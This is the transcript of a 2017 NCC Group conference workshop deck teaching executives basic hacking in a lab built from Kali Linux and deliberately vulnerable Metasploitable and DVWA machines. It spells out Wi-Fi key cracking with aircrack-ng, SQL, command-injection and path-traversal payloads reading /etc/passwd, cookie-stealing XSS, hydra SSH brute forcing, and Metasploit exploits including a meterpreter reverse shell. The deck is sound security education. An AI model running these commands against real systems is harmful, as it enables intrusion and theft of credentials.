ntxissacsc5 red 1 & 2 basic hacking tools ncc group

127
Hacking for Executives Basic Hacks Used by Real World Attackers North Texas Cyber Security Conference November 10 th , 2017 Tony Cargile and Matt Nash

Upload: north-texas-chapter-of-the-issa

Post on 24-Jan-2018

62 views

Category:

Internet


0 download

TRANSCRIPT

Page 1: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Hacking for Executives

Basic Hacks Used by Real World Attackers

North Texas Cyber Security Conference

November 10th, 2017

Tony Cargile and Matt Nash

Page 2: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

• Introductions

• Session 1

• Getting the Lab Set Up

• Configuring our Wifi Card

• Attacking WEP protected routers

• Brute forcing WPA protected routers

• Finish Up With A Q&A

• Session 2

• Enumeration

• Web Application Attacks

• Brute Force Attacks

• Accessing Backdoors

• Exploiting Known Vulnerabilities

Agenda

Page 3: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

~ tony$ whoami

• Principal Security Consultant at NCC Group

• Austin Office

• Specializing in Application Security and Security Development LifeCycle

• National Conferences on DANE and SDLC

• Background in Development

• Bachelor of Science in Computer Science from University of Texas at Austin

• Born and raised in Fort Worth, but don’t hold that against me

Page 4: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

~ matt$ whoami

• Security Consultant at NCC Group

• Austin Office

• Specializing in Application Security, Infrastructure Assessment,

and Forensics

• Certified Digital Forensic Investigator and Incident

Responder

• Background in System Administration

• Bachelor of Science in Food & Resource Economics from

University of Florida

• Born and raised in Florida - sometimes referred to as Florida Man

• (only some of the news stories are true)

Page 5: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

What is this training

• This is not a BlackHat Training

• No technical experience needed

• The purpose of this training is to

teach basic attacks and tools to

managers and executives in

decision making roles within the

security realm.

• All the tools and labs are open

source and available online

Page 6: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

The Lab

• Everyone will be constructing their own

“hacker lab” within their computer.

• The Lab will consist of two virtual

machines, controlled by VMware

Player:

• Kali Linux: A common attacker

Linux OS

• Metasploitable: A purposefully

vulnerable Linux OS

• This course is designed for Windows,

but 100% possible on Macs and Linux

Page 7: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

The Wifi Lab

• SSID: NCC Lab 1

• WPA Password Protected

• BSSID: 00:1F:33:E5:2C:A1

• Password: ?

• SSID: NCC Lab 2

• WEP Protected

• BSSID: 68:7F:74:C4:D8:64

• Password: ?

Page 8: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Setting Up the Lab

Page 9: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Opening the USB

• 3 Files

• Kali Linux VM – 7zipped

• Metasploitable 2 VM – zipped

• VMware Player Windows Installer

Page 10: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

VMWare Install

• First, start by running the VMware installer

Page 11: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

VMWare Install

• Accept the EULA

Page 12: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

VMware install

• No need to install the Enhanced Keyboard Driver

Page 13: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

VMware install

• Determine whether you want to give VMware your data

Page 14: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

VMware install

Page 15: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

VMware install

Page 16: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Run VMware Player Once Installed

• Once installed, on first run it will ask for a license

Page 17: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Extracting the VMs

Page 18: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Extracting the VMs

• Extract to an easy to locate

address.

• Take note of where you extracted

• Don’t put it on the USB

Page 19: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Installing 7-Zip

Right-click on the 7-Zip installer and click “Run as administrator”

Page 20: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Installing 7-Zip

Enter administrator password and click “Yes”

Page 21: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Installing 7-Zip

Click “Install”

Page 22: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Installing 7-Zip

Page 23: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Installing 7-Zip

Open 7-Zip program and navigate to the folder containing the Kali archive

Page 24: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Installing 7-Zip

Select the Kali Archive and click “Extract”

Page 25: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Installing 7-Zip

Choose an extraction location and click “OK”

Page 26: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Extracting the VMs

Page 27: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Opening the VMs

Page 28: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Opening the VMs

Page 29: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Configuring the VMs

• This is an important step

for 2 reasons:

1. We need to make sure

that our VMs can talk to

each other.

2. We need to make sure

that we don’t expose our

VMs to the world.

Page 30: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Configuring the VMs

• Verify that the

Network Adapter says

“NAT”

Page 31: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Powering On Metasploitable

Page 32: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Powering On Metasploitable

Page 33: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Powering On Metasploitable

Page 34: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Powering On Metasploitable

Page 35: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Installing VMware Tools

Page 36: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Logging Into Metasploitable

• Default credentials:

• Username: msfadmin

• Password: msfadmin

Page 37: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Logged into Metasploitable

Page 38: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Getting the IP Address

INPUT: ifconfig

• Note the IP Address: we will need it later!

Page 39: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Powering on Kali

• You will go through the

same steps as when you

powered on Metasploitable.

• Click “I copied it”

• Don’t change the keyboard

timeout

• Install VMware tools.

Page 40: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Kali Starting Up

Page 41: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Enable Full Screen

Page 42: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Log into Kali

• Default credentials:

• Username: root

• Password: toor

Page 43: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Kali on Startup

Page 44: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Opening the terminal

• Unlike Windows, the task bar is on the top

• Kali now has the quick start bar on the left

• Click the black terminal icon

Page 45: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Getting Kali’s IP Address

COMMAND: ifconfig

• Note the IP Address: we will need it later!

Page 46: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Wireless Attacks

Page 47: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Connect USB WiFi Adapter to Kali

Plug in the provided USB wireless adapter and click

the “Show devices” icon in the top-right

Page 48: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Connect USB WiFi Adapter to Kali

Mouse over USB icon to display connected USB device

Page 49: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Connect USB WiFi Adapter to Kali

Right-click on USB icon and click “Connect (Disconnect from host)”

Page 50: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Connect USB WiFi Adapter to Kali

Page 51: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Verify Kali Sees the WiFi Adapter

Page 52: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Check the Name of the WiFi Interface

Open a Terminal window and use `ip addr` command to list network interfaces

INPUT: ip addr

Page 53: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Place WiFi Interface Into Monitor Mode

Use `airmon-ng` to place wlan0 interface into “monitor” mode

INPUT: airmon-ng start wlan0

Page 54: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Kill Problematic Processes

Use `airmon-ng` to kill processes which may cause problems with wireless interception

INPUT: airmon-ng check kill

Page 55: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Kill Problematic Processes

Use `airodump-ng` to search for nearby wireless access points

INPUT: airodump-ng wlan0mon

Page 56: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Nearby Wireless Access Points

We see two interesting access points – one with WEP encryption

(NCC Lab 2) and another with WPA encryption (NCC Lab 1)

Page 57: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Cracking WEP

Page 58: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Nearby Wireless Access Points

We see two interesting access points – one with WEP encryption

(NCC Lab 2) and another with WPA encryption (NCC Lab 1)

Page 59: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

Use `airodump-ng` to capture traffic to/from the identified WEP-encrypted access point

INPUT: airodump-ng –c 6 –bssid 68:7F:74:C4:D8:64 –ivs

–w Desktop/NCC-Lab-2/NCC-Lab-2_ivs wlan0mon

Page 60: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

Actively capturing data to/from the identified WEP-encrypted access point

Page 61: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

Using `aircrack-ng` against the captured wireless data

INPUT: aircrack-ng Desktop/NCC-Lab-2/NCC-Lab-2_ivs-01.ivs

Page 62: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

`aircrack-ng` has cracked the WEP key used to encrypt data

to/from this wireless access point

Page 63: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

`aircrack-ng` has cracked the WEP key used to

encrypt data to/from this wireless access point

Page 64: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Bruteforcing WPA

Page 65: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Nearby Wireless Access Points

We see two interesting access points – one with WEP encryption

(NCC Lab 2) and another with WPA encryption (NCC Lab 1)

Page 66: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

Use `airodump-ng` to capture traffic to/from the identified WPA-encrypted access point

INPUT: airodump-ng –c 11 –bssid 00:1F:33:E5:2C:A1

–w Desktop/NCC-Lab-1/NCC-Lab-1 wlan0mon

Page 67: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

Actively capturing data to/from the identified WPA-encrypted access point

Page 68: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

Using `aircrack-ng` against the captured wireless data

INPUT: aircrack-ng -b 00:1F:33:E5:2C:A1 –w /usr/share/wordlists/rockyou.txt

Desktop/NCC-Lab-1/NCC-Lab-1-01.cap

Page 69: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

`aircrack-ng` is attempting a brute force attack using the

passwords in the “rockyou” wordlist

Page 70: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Capturing Wireless Traffic

`aircrack-ng` has cracked the WPA key used to

encrypt data to/from this wireless access point

Page 71: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Web Application Attacks

Page 72: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Open the Web Browser

• Select the orange Firefox ESR icon

• Can also be selected by going to Applications

Page 73: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Browse to Metasploitable

• Input the IP Address of Metasploitable into the URL Bar

Page 74: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Welcome to DVWA

Page 75: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Turn on Easy Mode

Page 76: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

The Reset Button

Page 77: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

SQL Injection

• What is it?

• How prevalent is it?

• How much damage can it cause?

Page 78: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

SQL Injection

Page 79: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

SQL Injection

Page 80: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

SQL Injection

• Error messages are great resources for Attackers!

Page 81: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

SQL Injection

INPUT: ‘ or 1=1+’

Page 82: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

SQL Injection

INPUT: ‘ UNION ALL SELECT user,password from users where 1=1+’

Page 83: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Command Injection

• What is it?

• How prevalent is it?

• How much damage can it cause?

• Similar to SQL Injection, but instead of injecting into SQL Database,

we are injecting into a command request by the web application server.

Page 84: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Command Injection

INPUT: 8.8.8.8

Page 85: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Command Injection

Page 86: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Command Injection

INPUT: 8.8.8.8; ls

Page 87: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Command Injection

INPUT: 8.8.8.8; whoami

Page 88: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Command Injection

INPUT: 8.8.8.8; cat /etc/passwd

Page 89: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Local File Inclusion/Directory Traversal

• What is it?

• How prevalent is it?

• How much damage can it cause?

Page 90: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Local File Inclusion/Directory Traversal

Page 91: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Local File Inclusion/Directory Traversal

INPUT: test.php

Page 92: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Local File Inclusion/Directory Traversal

INPUT: ../../phpinfo.php

Page 93: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Local File Inclusion/Directory Traversal

INPUT: ../../../../../../../../etc/passwd

Page 94: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Cross Site Scripting

• What is it?

• How prevalent is it?

• How much damage can it cause?

Page 95: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Stored Cross Site Scripting

Page 96: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Stored Cross Site Scripting

Page 97: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Stored Cross Site Scripting

INPUT: <img src=“http://bit.ly/2dtWOWN”>

Page 98: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Stored Cross Site Scripting

Page 99: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Stored Cross Site Scripting

INPUT: <script>alert(document.cookie);</script>

Page 100: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Stored Cross Site Scripting

Page 101: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Stored Cross Site Scripting

DON’T DO THIS: <script>document.location=“https://nccgroup.trust”;</script>

Page 102: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Reflected Cross Site Scripting

Page 103: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Reflected Cross Site Scripting

Page 104: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Reflected Cross Site Scripting

Page 105: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Reflected Cross Site Scripting

Page 106: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Reflected Cross Site Scripting

Page 107: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Reflected Cross Site Scripting

Page 108: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Network Penetration Attacks

Page 109: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Enumeration

INPUT: nmap -sV -p- 192.168.132.128

Page 110: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Enumeration

Page 111: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Brute Forcing Passwords

INPUT: hydra -l sys –P /usr/share/john/password.lst –t 4 192.168.132.128 ssh

Page 112: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Brute Forcing Passwords

Page 113: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Brute Forcing Passwords

INPUT: ssh [email protected]

Page 114: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Running Metasploit

INPUT: msfconsole

Page 115: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Enumeration

Page 116: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Loading an Exploit

INPUT: use exploit/unix/ftp/vsftpd_234_backdoor

Page 117: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Loading an ExploitINPUT: show options

INPUT: set RHOST 192.168.132.128

Page 118: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Running an Exploit

INPUT: run

Page 119: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Running an ExploitINPUT: id

INPUT: whoami

INPUT: ls

Page 120: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Loading an Exploit

INPUT: use exploit/unix/misc/distcc_exec

Page 121: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Loading an ExploitINPUT: show options

INPUT: set RHOST 192.168.132.128

Page 122: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Running an Exploit

INPUT: run

INPUT: id

INPUT: ls

Page 123: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Exploiting Java RMI Using Meterpreter

INPUT: use exploit/multi/misc/java_rmi_server

INPUT: show options

Page 124: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Exploiting Java RMI Using Meterpreter

INPUT: set RHOST 192.168.132.128

INPUT: set LHOST 192.168.132.129

INPUT: set PAYLOAD java/meterpreter/reverse_tcp

INPUT: run

Page 125: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Q&A

Page 126: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

Contact Us

• Mitchell Merrick

• Strategic Account Manager

[email protected]

• (512) 431-6213

• Tony Cargile

• Principal Security Consultant

[email protected]

• Matt Nash

• Security Consultant

[email protected]

• www.nccgroup.trust

• https://www.linkedin.com/company/ncc-group/

• https://twitter.com/NCCGroupplc

• https://www.facebook.com/NCCGroupplc/

• https://plus.google.com/+nccgroup

Page 127: Ntxissacsc5 red 1 & 2   basic hacking tools ncc group

127

Office Locations

EuropeManchester - Head Office

Basingstoke

Belgium

Cheltenham

Denmark

Edinburgh

Germany

Glasgow

Leatherhead

Leeds

Lithuania

London

Luxembourg

Milton Keynes

Spain

Sweden

Switzerland

The Netherlands

USAAtlanta, GA

Austin, TX

Chicago, IL

New York, NY

San Francisco, CA

Seattle, WA

Sunnyvale, CA

AustraliaSydney

CanadaKitchener, ON

Middle EastDubai